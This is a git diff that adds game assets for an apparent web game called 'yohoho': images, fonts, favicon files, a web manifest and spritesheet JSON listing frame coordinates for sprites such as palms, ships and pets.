- - + + diff --git a/tetris/tetris2.swf b/tetris/tetris2.swf new file mode 100644 index 00000000..e00ff161 Binary files /dev/null and b/tetris/tetris2.swf differ diff --git a/yohoho/cover.svg b/yohoho/cover.svg new file mode 100644 index 00000000..f5f07317 --- /dev/null +++ b/yohoho/cover.svg @@ -0,0 +1,3 @@ + + + diff --git a/yohoho/favicon/android-chrome-192x192.png b/yohoho/favicon/android-chrome-192x192.png new file mode 100644 index 00000000..c93a1ebb Binary files /dev/null and b/yohoho/favicon/android-chrome-192x192.png differ diff --git a/yohoho/favicon/android-chrome-512x512.png b/yohoho/favicon/android-chrome-512x512.png new file mode 100644 index 00000000..e5ed2db3 Binary files /dev/null and b/yohoho/favicon/android-chrome-512x512.png differ diff --git a/yohoho/favicon/apple-touch-icon.png b/yohoho/favicon/apple-touch-icon.png new file mode 100644 index 00000000..a65ce274 Binary files /dev/null and b/yohoho/favicon/apple-touch-icon.png differ diff --git a/yohoho/favicon/browserconfig.xml b/yohoho/favicon/browserconfig.xml new file mode 100644 index 00000000..9d7992a4 --- /dev/null +++ b/yohoho/favicon/browserconfig.xml @@ -0,0 +1,9 @@ + + + + + + #ffc40d + + + diff --git a/yohoho/favicon/favicon-16x16.png b/yohoho/favicon/favicon-16x16.png new file mode 100644 index 00000000..2419c4b2 Binary files /dev/null and b/yohoho/favicon/favicon-16x16.png differ diff --git a/yohoho/favicon/favicon-32x32.png b/yohoho/favicon/favicon-32x32.png new file mode 100644 index 00000000..5b62ffb2 Binary files /dev/null and b/yohoho/favicon/favicon-32x32.png differ diff --git a/yohoho/favicon/favicon.ico b/yohoho/favicon/favicon.ico new file mode 100644 index 00000000..562578cd Binary files /dev/null and b/yohoho/favicon/favicon.ico differ diff --git a/yohoho/favicon/safari-pinned-tab.svg b/yohoho/favicon/safari-pinned-tab.svg new file mode 100644 index 00000000..e027d19c --- /dev/null +++ b/yohoho/favicon/safari-pinned-tab.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/yohoho/favicon/site.webmanifest b/yohoho/favicon/site.webmanifest new file mode 100644 index 00000000..5eb5e44f --- /dev/null +++ b/yohoho/favicon/site.webmanifest @@ -0,0 +1,19 @@ +{ + "name": "", + "short_name": "", + "icons": [ + { + "src": "/favicon/android-chrome-192x192.png", + "sizes": "192x192", + "type": "image/png" + }, + { + "src": "/favicon/android-chrome-512x512.png", + "sizes": "512x512", + "type": "image/png" + } + ], + "theme_color": "#ffffff", + "background_color": "#ffffff", + "display": "standalone" +} diff --git a/yohoho/fonts/nunito-bold.ttf b/yohoho/fonts/nunito-bold.ttf new file mode 100644 index 00000000..6519feb7 Binary files /dev/null and b/yohoho/fonts/nunito-bold.ttf differ diff --git a/yohoho/fonts/nunito-extrabold.ttf b/yohoho/fonts/nunito-extrabold.ttf new file mode 100644 index 00000000..02491b64 Binary files /dev/null and b/yohoho/fonts/nunito-extrabold.ttf differ diff --git a/yohoho/fonts/nunito-regular.ttf b/yohoho/fonts/nunito-regular.ttf new file mode 100644 index 00000000..e7b8375a Binary files /dev/null and b/yohoho/fonts/nunito-regular.ttf differ diff --git a/yohoho/img/01g.jpg b/yohoho/img/01g.jpg new file mode 100644 index 00000000..c5c519c8 Binary files /dev/null and b/yohoho/img/01g.jpg differ diff --git a/yohoho/img/02g.jpg b/yohoho/img/02g.jpg new file mode 100644 index 00000000..64763b70 Binary files /dev/null and b/yohoho/img/02g.jpg differ diff --git a/yohoho/img/03g.jpg b/yohoho/img/03g.jpg new file mode 100644 index 00000000..a205566c Binary files /dev/null and b/yohoho/img/03g.jpg differ diff --git a/yohoho/img/04g.jpg b/yohoho/img/04g.jpg new file mode 100644 index 00000000..fd48e7de Binary files /dev/null and b/yohoho/img/04g.jpg differ diff --git a/yohoho/img/05g.jpg b/yohoho/img/05g.jpg new file mode 100644 index 00000000..a683aa67 Binary files /dev/null and b/yohoho/img/05g.jpg differ diff --git a/yohoho/img/apple-store.svg b/yohoho/img/apple-store.svg new file mode 100644 index 00000000..fea7878c --- /dev/null +++ b/yohoho/img/apple-store.svg @@ -0,0 +1,216 @@ + + + + + + image/svg+xml + + Download_on_the_App_Store_Badge_US-UK_RGB_blk_4SVG_092917 + + + + + + Download_on_the_App_Store_Badge_US-UK_RGB_blk_4SVG_092917 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/yohoho/img/banner1024x512.jpg b/yohoho/img/banner1024x512.jpg new file mode 100644 index 00000000..b14b9ad7 Binary files /dev/null and b/yohoho/img/banner1024x512.jpg differ diff --git a/yohoho/img/banner1200x630.jpg b/yohoho/img/banner1200x630.jpg new file mode 100644 index 00000000..9fe0333b Binary files /dev/null and b/yohoho/img/banner1200x630.jpg differ diff --git a/yohoho/img/chest.png b/yohoho/img/chest.png new file mode 100644 index 00000000..35796721 Binary files /dev/null and b/yohoho/img/chest.png differ diff --git a/yohoho/img/close.svg b/yohoho/img/close.svg new file mode 100644 index 00000000..02dff8f3 --- /dev/null +++ b/yohoho/img/close.svg @@ -0,0 +1,2 @@ + + diff --git a/yohoho/img/coins_m.png b/yohoho/img/coins_m.png new file mode 100644 index 00000000..cbc1425a Binary files /dev/null and b/yohoho/img/coins_m.png differ diff --git a/yohoho/img/flag.svg.raw b/yohoho/img/flag.svg.raw new file mode 100644 index 00000000..901f70d0 --- /dev/null +++ b/yohoho/img/flag.svg.raw @@ -0,0 +1,18 @@ + + diff --git a/yohoho/img/google-store.png b/yohoho/img/google-store.png new file mode 100644 index 00000000..8b0b9566 Binary files /dev/null and b/yohoho/img/google-store.png differ diff --git a/yohoho/img/logout.svg b/yohoho/img/logout.svg new file mode 100644 index 00000000..8f2c4406 --- /dev/null +++ b/yohoho/img/logout.svg @@ -0,0 +1,71 @@ + + + + + + image/svg+xml + + + + + + + + + + + + + diff --git a/yohoho/img/minimap.png b/yohoho/img/minimap.png new file mode 100644 index 00000000..5f2ff06a Binary files /dev/null and b/yohoho/img/minimap.png differ diff --git a/yohoho/img/mobile-hint-1.png b/yohoho/img/mobile-hint-1.png new file mode 100644 index 00000000..a64dbaf9 Binary files /dev/null and b/yohoho/img/mobile-hint-1.png differ diff --git a/yohoho/img/mobile-hint-2.png b/yohoho/img/mobile-hint-2.png new file mode 100644 index 00000000..b0a879b2 Binary files /dev/null and b/yohoho/img/mobile-hint-2.png differ diff --git a/yohoho/img/safari-add-homescreen.png b/yohoho/img/safari-add-homescreen.png new file mode 100644 index 00000000..9307c931 Binary files /dev/null and b/yohoho/img/safari-add-homescreen.png differ diff --git a/yohoho/img/safari-share.png b/yohoho/img/safari-share.png new file mode 100644 index 00000000..aa941e07 Binary files /dev/null and b/yohoho/img/safari-share.png differ diff --git a/yohoho/img/spritesheet4-.json b/yohoho/img/spritesheet4-.json new file mode 100644 index 00000000..224f2755 --- /dev/null +++ b/yohoho/img/spritesheet4-.json @@ -0,0 +1 @@ +{"frames":{"box9":{"frame":{"x":72,"y":4,"w":128,"h":21},"trimmed":false,"spriteSourceSize":{"w":128,"h":21,"x":0,"y":0},"sourceSize":{"w":128,"h":21},"rotated":false},"box9filled":{"frame":{"x":204,"y":4,"w":128,"h":21},"trimmed":false,"spriteSourceSize":{"w":128,"h":21,"x":0,"y":0},"sourceSize":{"w":128,"h":21},"rotated":false},"circle":{"frame":{"x":1844,"y":29,"w":128,"h":128},"trimmed":false,"spriteSourceSize":{"w":128,"h":128,"x":0,"y":0},"sourceSize":{"w":128,"h":128},"rotated":false},"coins_b":{"frame":{"x":67,"y":29,"w":196,"h":196},"trimmed":false,"spriteSourceSize":{"w":196,"h":196,"x":0,"y":0},"sourceSize":{"w":196,"h":196},"rotated":false},"confetti":{"frame":{"x":267,"y":57,"w":64,"h":32},"trimmed":false,"spriteSourceSize":{"w":64,"h":32,"x":0,"y":0},"sourceSize":{"w":64,"h":32},"rotated":false},"crabs":{"frame":{"x":1320,"y":6,"w":128,"h":151},"trimmed":false,"spriteSourceSize":{"w":128,"h":151,"x":0,"y":0},"sourceSize":{"w":128,"h":151},"rotated":false},"dead":{"frame":{"x":220,"y":229,"w":128,"h":109},"trimmed":false,"spriteSourceSize":{"w":128,"h":109,"x":0,"y":0},"sourceSize":{"w":128,"h":109},"rotated":false},"debris":{"frame":{"x":1452,"y":8,"w":256,"h":149},"trimmed":false,"spriteSourceSize":{"w":256,"h":149,"x":0,"y":0},"sourceSize":{"w":256,"h":149},"rotated":false},"gridpixel":{"frame":{"x":4,"y":5,"w":1,"h":1},"trimmed":false,"spriteSourceSize":{"w":1,"h":1,"x":0,"y":0},"sourceSize":{"w":1,"h":1},"rotated":false},"heart":{"frame":{"x":1032,"y":1505,"w":96,"h":88},"trimmed":false,"spriteSourceSize":{"w":96,"h":88,"x":0,"y":0},"sourceSize":{"w":96,"h":88},"rotated":false},"house2-b":{"frame":{"x":715,"y":355,"w":512,"h":587},"trimmed":false,"spriteSourceSize":{"w":512,"h":587,"x":0,"y":0},"sourceSize":{"w":512,"h":587},"rotated":false},"house2-t":{"frame":{"x":1231,"y":364,"w":512,"h":587},"trimmed":false,"spriteSourceSize":{"w":512,"h":587,"x":0,"y":0},"sourceSize":{"w":512,"h":587},"rotated":false},"icon-fog-1":{"frame":{"x":267,"y":161,"w":64,"h":64},"trimmed":false,"spriteSourceSize":{"w":64,"h":64,"x":0,"y":0},"sourceSize":{"w":64,"h":64},"rotated":false},"icon-kill":{"frame":{"x":267,"y":93,"w":64,"h":64},"trimmed":false,"spriteSourceSize":{"w":64,"h":64,"x":0,"y":0},"sourceSize":{"w":64,"h":64},"rotated":false},"icon-player":{"frame":{"x":1976,"y":93,"w":64,"h":64},"trimmed":false,"spriteSourceSize":{"w":64,"h":64,"x":0,"y":0},"sourceSize":{"w":64,"h":64},"rotated":false},"large-ship":{"frame":{"x":1231,"y":1503,"w":768,"h":541},"trimmed":false,"spriteSourceSize":{"w":768,"h":541,"x":0,"y":0},"sourceSize":{"w":768,"h":541},"rotated":false},"p13c":{"frame":{"x":990,"y":7,"w":326,"h":344},"trimmed":false,"spriteSourceSize":{"w":326,"h":344,"x":0,"y":0},"sourceSize":{"w":326,"h":344},"rotated":false},"p13w":{"frame":{"x":1032,"y":1597,"w":192,"h":447},"trimmed":false,"spriteSourceSize":{"w":192,"h":447,"x":0,"y":0},"sourceSize":{"w":192,"h":447},"rotated":false},"p16w":{"frame":{"x":1858,"y":960,"w":150,"h":539},"trimmed":false,"spriteSourceSize":{"w":150,"h":539,"x":0,"y":0},"sourceSize":{"w":150,"h":539},"rotated":false},"p18c":{"frame":{"x":1234,"y":959,"w":620,"h":540},"trimmed":false,"spriteSourceSize":{"w":620,"h":540,"x":0,"y":0},"sourceSize":{"w":620,"h":540},"rotated":false},"p18w":{"frame":{"x":434,"y":342,"w":139,"h":600},"trimmed":false,"spriteSourceSize":{"w":139,"h":600,"x":0,"y":0},"sourceSize":{"w":139,"h":600},"rotated":false},"p20c":{"frame":{"x":624,"y":4,"w":362,"h":345},"trimmed":false,"spriteSourceSize":{"w":362,"h":345,"x":0,"y":0},"sourceSize":{"w":362,"h":345},"rotated":false},"p21w":{"frame":{"x":577,"y":353,"w":134,"h":589},"trimmed":false,"spriteSourceSize":{"w":134,"h":589,"x":0,"y":0},"sourceSize":{"w":134,"h":589},"rotated":false},"p24c":{"frame":{"x":352,"y":7,"w":268,"h":331},"trimmed":false,"spriteSourceSize":{"w":268,"h":331,"x":0,"y":0},"sourceSize":{"w":268,"h":331},"rotated":false},"p29c":{"frame":{"x":1747,"y":161,"w":286,"h":357},"trimmed":false,"spriteSourceSize":{"w":286,"h":357,"x":0,"y":0},"sourceSize":{"w":286,"h":357},"rotated":false},"p31w":{"frame":{"x":4,"y":229,"w":212,"h":713},"trimmed":false,"spriteSourceSize":{"w":212,"h":713,"x":0,"y":0},"sourceSize":{"w":212,"h":713},"rotated":false},"p33w":{"frame":{"x":1032,"y":955,"w":198,"h":544},"trimmed":false,"spriteSourceSize":{"w":198,"h":544,"x":0,"y":0},"sourceSize":{"w":198,"h":544},"rotated":false},"p35w":{"frame":{"x":220,"y":342,"w":210,"h":600},"trimmed":false,"spriteSourceSize":{"w":210,"h":600,"x":0,"y":0},"sourceSize":{"w":210,"h":600},"rotated":false},"p7c":{"frame":{"x":1747,"y":522,"w":293,"h":433},"trimmed":false,"spriteSourceSize":{"w":293,"h":433,"x":0,"y":0},"sourceSize":{"w":293,"h":433},"rotated":false},"pet-1":{"frame":{"x":1320,"y":193,"w":128,"h":167},"trimmed":false,"spriteSourceSize":{"w":128,"h":167,"x":0,"y":0},"sourceSize":{"w":128,"h":167},"rotated":false},"pet-2":{"frame":{"x":1452,"y":193,"w":128,"h":167},"trimmed":false,"spriteSourceSize":{"w":128,"h":167,"x":0,"y":0},"sourceSize":{"w":128,"h":167},"rotated":false},"pet-3":{"frame":{"x":1584,"y":193,"w":128,"h":167},"trimmed":false,"spriteSourceSize":{"w":128,"h":167,"x":0,"y":0},"sourceSize":{"w":128,"h":167},"rotated":false},"rocks":{"frame":{"x":1712,"y":28,"w":128,"h":129},"trimmed":false,"spriteSourceSize":{"w":128,"h":129,"x":0,"y":0},"sourceSize":{"w":128,"h":129},"rotated":false},"spark":{"frame":{"x":4,"y":10,"w":64,"h":6},"trimmed":false,"spriteSourceSize":{"w":64,"h":6,"x":0,"y":0},"sourceSize":{"w":64,"h":6},"rotated":false},"volcano":{"frame":{"x":4,"y":946,"w":1024,"h":1098},"trimmed":false,"spriteSourceSize":{"w":1024,"h":1098,"x":0,"y":0},"sourceSize":{"w":1024,"h":1098},"rotated":false},"weapon":{"frame":{"x":4,"y":20,"w":59,"h":205},"trimmed":false,"spriteSourceSize":{"w":59,"h":205,"x":0,"y":0},"sourceSize":{"w":59,"h":205},"rotated":false}},"meta":{"image":"spritesheet4-.png","size":{"w":2048,"h":2048},"scale":1}} \ No newline at end of file diff --git a/yohoho/img/spritesheet4-.png b/yohoho/img/spritesheet4-.png new file mode 100644 index 00000000..a0777dca Binary files /dev/null and b/yohoho/img/spritesheet4-.png differ diff --git a/yohoho/img/spritesheet4-2.json b/yohoho/img/spritesheet4-2.json new file mode 100644 index 00000000..17453916 --- /dev/null +++ b/yohoho/img/spritesheet4-2.json @@ -0,0 +1 @@ +{"frames":{"chest":{"frame":{"x":4,"y":400,"w":256,"h":158},"trimmed":false,"spriteSourceSize":{"w":256,"h":158,"x":0,"y":0},"sourceSize":{"w":256,"h":158},"rotated":false},"crown":{"frame":{"x":858,"y":10,"w":128,"h":111},"trimmed":false,"spriteSourceSize":{"w":128,"h":111,"x":0,"y":0},"sourceSize":{"w":128,"h":111},"rotated":false},"house1-b":{"frame":{"x":1032,"y":652,"w":512,"h":523},"trimmed":false,"spriteSourceSize":{"w":512,"h":523,"x":0,"y":0},"sourceSize":{"w":512,"h":523},"rotated":false},"house1-t":{"frame":{"x":1020,"y":125,"w":512,"h":523},"trimmed":false,"spriteSourceSize":{"w":512,"h":523,"x":0,"y":0},"sourceSize":{"w":512,"h":523},"rotated":false},"p11c":{"frame":{"x":363,"y":23,"w":369,"h":373},"trimmed":false,"spriteSourceSize":{"w":369,"h":373,"x":0,"y":0},"sourceSize":{"w":369,"h":373},"rotated":false},"p12c":{"frame":{"x":1556,"y":893,"w":460,"h":310},"trimmed":false,"spriteSourceSize":{"w":460,"h":310,"x":0,"y":0},"sourceSize":{"w":460,"h":310},"rotated":false},"p15c":{"frame":{"x":1032,"y":1179,"w":520,"h":398},"trimmed":false,"spriteSourceSize":{"w":520,"h":398,"x":0,"y":0},"sourceSize":{"w":520,"h":398},"rotated":false},"p17c":{"frame":{"x":1032,"y":1581,"w":580,"h":462},"trimmed":false,"spriteSourceSize":{"w":580,"h":462,"x":0,"y":0},"sourceSize":{"w":580,"h":462},"rotated":false},"p17w":{"frame":{"x":736,"y":4,"w":118,"h":554},"trimmed":false,"spriteSourceSize":{"w":118,"h":554,"x":0,"y":0},"sourceSize":{"w":118,"h":554},"rotated":false},"p20w":{"frame":{"x":4,"y":564,"w":210,"h":485},"trimmed":false,"spriteSourceSize":{"w":210,"h":485,"x":0,"y":0},"sourceSize":{"w":210,"h":485},"rotated":false},"p25c":{"frame":{"x":1616,"y":1620,"w":426,"h":423},"trimmed":false,"spriteSourceSize":{"w":426,"h":423,"x":0,"y":0},"sourceSize":{"w":426,"h":423},"rotated":false},"p27c":{"frame":{"x":1536,"y":25,"w":378,"h":371},"trimmed":false,"spriteSourceSize":{"w":378,"h":371,"x":0,"y":0},"sourceSize":{"w":378,"h":371},"rotated":false},"p30c":{"frame":{"x":1616,"y":1207,"w":424,"h":409},"trimmed":false,"spriteSourceSize":{"w":424,"h":409,"x":0,"y":0},"sourceSize":{"w":424,"h":409},"rotated":false},"p32c":{"frame":{"x":1548,"y":400,"w":450,"h":489},"trimmed":false,"spriteSourceSize":{"w":450,"h":489,"x":0,"y":0},"sourceSize":{"w":450,"h":489},"rotated":false},"p34w":{"frame":{"x":736,"y":562,"w":280,"h":487},"trimmed":false,"spriteSourceSize":{"w":280,"h":487,"x":0,"y":0},"sourceSize":{"w":280,"h":487},"rotated":false},"p8c":{"frame":{"x":4,"y":22,"w":355,"h":374},"trimmed":false,"spriteSourceSize":{"w":355,"h":374,"x":0,"y":0},"sourceSize":{"w":355,"h":374},"rotated":false},"p8w":{"frame":{"x":858,"y":131,"w":158,"h":427},"trimmed":false,"spriteSourceSize":{"w":158,"h":427,"x":0,"y":0},"sourceSize":{"w":158,"h":427},"rotated":false},"palms3-2":{"frame":{"x":218,"y":586,"w":512,"h":463},"trimmed":false,"spriteSourceSize":{"w":512,"h":463,"x":0,"y":0},"sourceSize":{"w":512,"h":463},"rotated":false},"pet-4":{"frame":{"x":264,"y":415,"w":128,"h":167},"trimmed":false,"spriteSourceSize":{"w":128,"h":167,"x":0,"y":0},"sourceSize":{"w":128,"h":167},"rotated":false},"pet-5":{"frame":{"x":396,"y":415,"w":128,"h":167},"trimmed":false,"spriteSourceSize":{"w":128,"h":167,"x":0,"y":0},"sourceSize":{"w":128,"h":167},"rotated":false},"pet-6":{"frame":{"x":528,"y":415,"w":128,"h":167},"trimmed":false,"spriteSourceSize":{"w":128,"h":167,"x":0,"y":0},"sourceSize":{"w":128,"h":167},"rotated":false},"temple":{"frame":{"x":4,"y":1053,"w":1024,"h":990},"trimmed":false,"spriteSourceSize":{"w":1024,"h":990,"x":0,"y":0},"sourceSize":{"w":1024,"h":990},"rotated":false}},"meta":{"image":"spritesheet4-2.png","size":{"w":2048,"h":2048},"scale":1}} \ No newline at end of file diff --git a/yohoho/img/spritesheet4-2.png b/yohoho/img/spritesheet4-2.png new file mode 100644 index 00000000..1f0108d7 Binary files /dev/null and b/yohoho/img/spritesheet4-2.png differ diff --git a/yohoho/img/spritesheet4-3.json b/yohoho/img/spritesheet4-3.json new file mode 100644 index 00000000..74e20d10 --- /dev/null +++ b/yohoho/img/spritesheet4-3.json @@ -0,0 +1 @@ +{"frames":{"bush-1":{"frame":{"x":1478,"y":521,"w":256,"h":251},"trimmed":false,"spriteSourceSize":{"w":256,"h":251,"x":0,"y":0},"sourceSize":{"w":256,"h":251},"rotated":false},"bush-2":{"frame":{"x":1738,"y":521,"w":256,"h":251},"trimmed":false,"spriteSourceSize":{"w":256,"h":251,"x":0,"y":0},"sourceSize":{"w":256,"h":251},"rotated":false},"p12w":{"frame":{"x":1910,"y":68,"w":125,"h":449},"trimmed":false,"spriteSourceSize":{"w":125,"h":449,"x":0,"y":0},"sourceSize":{"w":125,"h":449},"rotated":false},"p16c":{"frame":{"x":520,"y":54,"w":406,"h":329},"trimmed":false,"spriteSourceSize":{"w":406,"h":329,"x":0,"y":0},"sourceSize":{"w":406,"h":329},"rotated":false},"p19c":{"frame":{"x":974,"y":660,"w":370,"h":428},"trimmed":false,"spriteSourceSize":{"w":370,"h":428,"x":0,"y":0},"sourceSize":{"w":370,"h":428},"rotated":false},"p23w":{"frame":{"x":1348,"y":507,"w":126,"h":581},"trimmed":false,"spriteSourceSize":{"w":126,"h":581,"x":0,"y":0},"sourceSize":{"w":126,"h":581},"rotated":false},"p26c":{"frame":{"x":520,"y":387,"w":434,"h":339},"trimmed":false,"spriteSourceSize":{"w":434,"h":339,"x":0,"y":0},"sourceSize":{"w":434,"h":339},"rotated":false},"p27w":{"frame":{"x":958,"y":129,"w":254,"h":527},"trimmed":false,"spriteSourceSize":{"w":254,"h":527,"x":0,"y":0},"sourceSize":{"w":254,"h":527},"rotated":false},"p29w":{"frame":{"x":1216,"y":175,"w":128,"h":481},"trimmed":false,"spriteSourceSize":{"w":128,"h":481,"x":0,"y":0},"sourceSize":{"w":128,"h":481},"rotated":false},"p30w":{"frame":{"x":1348,"y":41,"w":274,"h":462},"trimmed":false,"spriteSourceSize":{"w":274,"h":462,"x":0,"y":0},"sourceSize":{"w":274,"h":462},"rotated":false},"p31c":{"frame":{"x":520,"y":730,"w":450,"h":443},"trimmed":false,"spriteSourceSize":{"w":450,"h":443,"x":0,"y":0},"sourceSize":{"w":450,"h":443},"rotated":false},"p32w":{"frame":{"x":1626,"y":68,"w":280,"h":449},"trimmed":false,"spriteSourceSize":{"w":280,"h":449,"x":0,"y":0},"sourceSize":{"w":280,"h":449},"rotated":false},"p33c":{"frame":{"x":1036,"y":1092,"w":450,"h":459},"trimmed":false,"spriteSourceSize":{"w":450,"h":459,"x":0,"y":0},"sourceSize":{"w":450,"h":459},"rotated":false},"p34c":{"frame":{"x":1490,"y":776,"w":450,"h":433},"trimmed":false,"spriteSourceSize":{"w":450,"h":433,"x":0,"y":0},"sourceSize":{"w":450,"h":433},"rotated":false},"p35c":{"frame":{"x":1036,"y":1555,"w":450,"h":489},"trimmed":false,"spriteSourceSize":{"w":450,"h":489,"x":0,"y":0},"sourceSize":{"w":450,"h":489},"rotated":false},"palms-1":{"frame":{"x":1490,"y":1213,"w":512,"h":411},"trimmed":false,"spriteSourceSize":{"w":512,"h":411,"x":0,"y":0},"sourceSize":{"w":512,"h":411},"rotated":false},"palms-2":{"frame":{"x":4,"y":27,"w":512,"h":488},"trimmed":false,"spriteSourceSize":{"w":512,"h":488,"x":0,"y":0},"sourceSize":{"w":512,"h":488},"rotated":false},"palms2-1":{"frame":{"x":520,"y":1177,"w":512,"h":418},"trimmed":false,"spriteSourceSize":{"w":512,"h":418,"x":0,"y":0},"sourceSize":{"w":512,"h":418},"rotated":false},"palms2-2":{"frame":{"x":4,"y":519,"w":512,"h":493},"trimmed":false,"spriteSourceSize":{"w":512,"h":493,"x":0,"y":0},"sourceSize":{"w":512,"h":493},"rotated":false},"palms3-1":{"frame":{"x":1490,"y":1628,"w":512,"h":416},"trimmed":false,"spriteSourceSize":{"w":512,"h":416,"x":0,"y":0},"sourceSize":{"w":512,"h":416},"rotated":false},"pet-7":{"frame":{"x":1216,"y":4,"w":128,"h":167},"trimmed":false,"spriteSourceSize":{"w":128,"h":167,"x":0,"y":0},"sourceSize":{"w":128,"h":167},"rotated":false},"ruins-1":{"frame":{"x":4,"y":1532,"w":512,"h":512},"trimmed":false,"spriteSourceSize":{"w":512,"h":512,"x":0,"y":0},"sourceSize":{"w":512,"h":512},"rotated":false},"ruins-2":{"frame":{"x":4,"y":1016,"w":512,"h":512},"trimmed":false,"spriteSourceSize":{"w":512,"h":512,"x":0,"y":0},"sourceSize":{"w":512,"h":512},"rotated":false},"ruins-3":{"frame":{"x":520,"y":1599,"w":512,"h":445},"trimmed":false,"spriteSourceSize":{"w":512,"h":445,"x":0,"y":0},"sourceSize":{"w":512,"h":445},"rotated":false}},"meta":{"image":"spritesheet4-3.png","size":{"w":2048,"h":2048},"scale":1}} \ No newline at end of file diff --git a/yohoho/img/spritesheet4-3.png b/yohoho/img/spritesheet4-3.png new file mode 100644 index 00000000..200c5317 Binary files /dev/null and b/yohoho/img/spritesheet4-3.png differ diff --git a/yohoho/img/spritesheet4-4.json b/yohoho/img/spritesheet4-4.json new file mode 100644 index 00000000..b9e00e7e --- /dev/null +++ b/yohoho/img/spritesheet4-4.json @@ -0,0 +1 @@ +{"frames":{"coins_m":{"frame":{"x":924,"y":396,"w":128,"h":128},"trimmed":false,"spriteSourceSize":{"w":128,"h":128,"x":0,"y":0},"sourceSize":{"w":128,"h":128},"rotated":false},"coins_s":{"frame":{"x":1056,"y":396,"w":128,"h":128},"trimmed":false,"spriteSourceSize":{"w":128,"h":128,"x":0,"y":0},"sourceSize":{"w":128,"h":128},"rotated":false},"food":{"frame":{"x":1616,"y":841,"w":128,"h":128},"trimmed":false,"spriteSourceSize":{"w":128,"h":128,"x":0,"y":0},"sourceSize":{"w":128,"h":128},"rotated":false},"icon-fog-2":{"frame":{"x":330,"y":157,"w":128,"h":128},"trimmed":false,"spriteSourceSize":{"w":128,"h":128,"x":0,"y":0},"sourceSize":{"w":128,"h":128},"rotated":false},"p10c":{"frame":{"x":4,"y":1588,"w":377,"h":330},"trimmed":false,"spriteSourceSize":{"w":377,"h":330,"x":0,"y":0},"sourceSize":{"w":377,"h":330},"rotated":false},"p10w":{"frame":{"x":1247,"y":830,"w":114,"h":427},"trimmed":false,"spriteSourceSize":{"w":114,"h":427,"x":0,"y":0},"sourceSize":{"w":114,"h":427},"rotated":false},"p11w":{"frame":{"x":382,"y":317,"w":142,"h":477},"trimmed":false,"spriteSourceSize":{"w":142,"h":477,"x":0,"y":0},"sourceSize":{"w":142,"h":477},"rotated":false},"p14c":{"frame":{"x":771,"y":1578,"w":325,"h":340},"trimmed":false,"spriteSourceSize":{"w":325,"h":340,"x":0,"y":0},"sourceSize":{"w":325,"h":340},"rotated":false},"p14w":{"frame":{"x":958,"y":830,"w":144,"h":427},"trimmed":false,"spriteSourceSize":{"w":144,"h":427,"x":0,"y":0},"sourceSize":{"w":144,"h":427},"rotated":false},"p15w":{"frame":{"x":1497,"y":832,"w":115,"h":427},"trimmed":false,"spriteSourceSize":{"w":115,"h":427,"x":0,"y":0},"sourceSize":{"w":115,"h":427},"rotated":false},"p19w":{"frame":{"x":795,"y":400,"w":125,"h":427},"trimmed":false,"spriteSourceSize":{"w":125,"h":427,"x":0,"y":0},"sourceSize":{"w":125,"h":427},"rotated":false},"p1c":{"frame":{"x":766,"y":1262,"w":278,"h":312},"trimmed":false,"spriteSourceSize":{"w":278,"h":312,"x":0,"y":0},"sourceSize":{"w":278,"h":312},"rotated":false},"p1w":{"frame":{"x":676,"y":461,"w":115,"h":427},"trimmed":false,"spriteSourceSize":{"w":115,"h":427,"x":0,"y":0},"sourceSize":{"w":115,"h":427},"rotated":false},"p21c":{"frame":{"x":1100,"y":1577,"w":298,"h":341},"trimmed":false,"spriteSourceSize":{"w":298,"h":341,"x":0,"y":0},"sourceSize":{"w":298,"h":341},"rotated":false},"p22c":{"frame":{"x":4,"y":4,"w":322,"h":281},"trimmed":false,"spriteSourceSize":{"w":322,"h":281,"x":0,"y":0},"sourceSize":{"w":322,"h":281},"rotated":false},"p22w":{"frame":{"x":4,"y":790,"w":280,"h":423},"trimmed":false,"spriteSourceSize":{"w":280,"h":423,"x":0,"y":0},"sourceSize":{"w":280,"h":423},"rotated":false},"p23c":{"frame":{"x":4,"y":1217,"w":338,"h":367},"trimmed":false,"spriteSourceSize":{"w":338,"h":367,"x":0,"y":0},"sourceSize":{"w":338,"h":367},"rotated":false},"p24w":{"frame":{"x":528,"y":339,"w":144,"h":455},"trimmed":false,"spriteSourceSize":{"w":144,"h":455,"x":0,"y":0},"sourceSize":{"w":144,"h":455},"rotated":false},"p25w":{"frame":{"x":288,"y":798,"w":248,"h":415},"trimmed":false,"spriteSourceSize":{"w":248,"h":415,"x":0,"y":0},"sourceSize":{"w":248,"h":415},"rotated":false},"p26w":{"frame":{"x":4,"y":294,"w":204,"h":492},"trimmed":false,"spriteSourceSize":{"w":204,"h":492,"x":0,"y":0},"sourceSize":{"w":204,"h":492},"rotated":false},"p28c":{"frame":{"x":1330,"y":1263,"w":270,"h":307},"trimmed":false,"spriteSourceSize":{"w":270,"h":307,"x":0,"y":0},"sourceSize":{"w":270,"h":307},"rotated":false},"p28w":{"frame":{"x":212,"y":289,"w":166,"h":497},"trimmed":false,"spriteSourceSize":{"w":166,"h":497,"x":0,"y":0},"sourceSize":{"w":166,"h":497},"rotated":false},"p2c":{"frame":{"x":1048,"y":1261,"w":278,"h":312},"trimmed":false,"spriteSourceSize":{"w":278,"h":312,"x":0,"y":0},"sourceSize":{"w":278,"h":312},"rotated":false},"p2w":{"frame":{"x":1457,"y":401,"w":115,"h":427},"trimmed":false,"spriteSourceSize":{"w":115,"h":427,"x":0,"y":0},"sourceSize":{"w":115,"h":427},"rotated":false},"p3c":{"frame":{"x":924,"y":528,"w":269,"h":298},"trimmed":false,"spriteSourceSize":{"w":269,"h":298,"x":0,"y":0},"sourceSize":{"w":269,"h":298},"rotated":false},"p3w":{"frame":{"x":1576,"y":401,"w":115,"h":427},"trimmed":false,"spriteSourceSize":{"w":115,"h":427,"x":0,"y":0},"sourceSize":{"w":115,"h":427},"rotated":false},"p4c":{"frame":{"x":1686,"y":1606,"w":300,"h":312},"trimmed":false,"spriteSourceSize":{"w":300,"h":312,"x":0,"y":0},"sourceSize":{"w":300,"h":312},"rotated":false},"p4w":{"frame":{"x":1106,"y":830,"w":137,"h":427},"trimmed":false,"spriteSourceSize":{"w":137,"h":427,"x":0,"y":0},"sourceSize":{"w":137,"h":427},"rotated":false},"p5c":{"frame":{"x":346,"y":1256,"w":252,"h":328},"trimmed":false,"spriteSourceSize":{"w":252,"h":328,"x":0,"y":0},"sourceSize":{"w":252,"h":328},"rotated":false},"p5w":{"frame":{"x":602,"y":1203,"w":160,"h":427},"trimmed":false,"spriteSourceSize":{"w":160,"h":427,"x":0,"y":0},"sourceSize":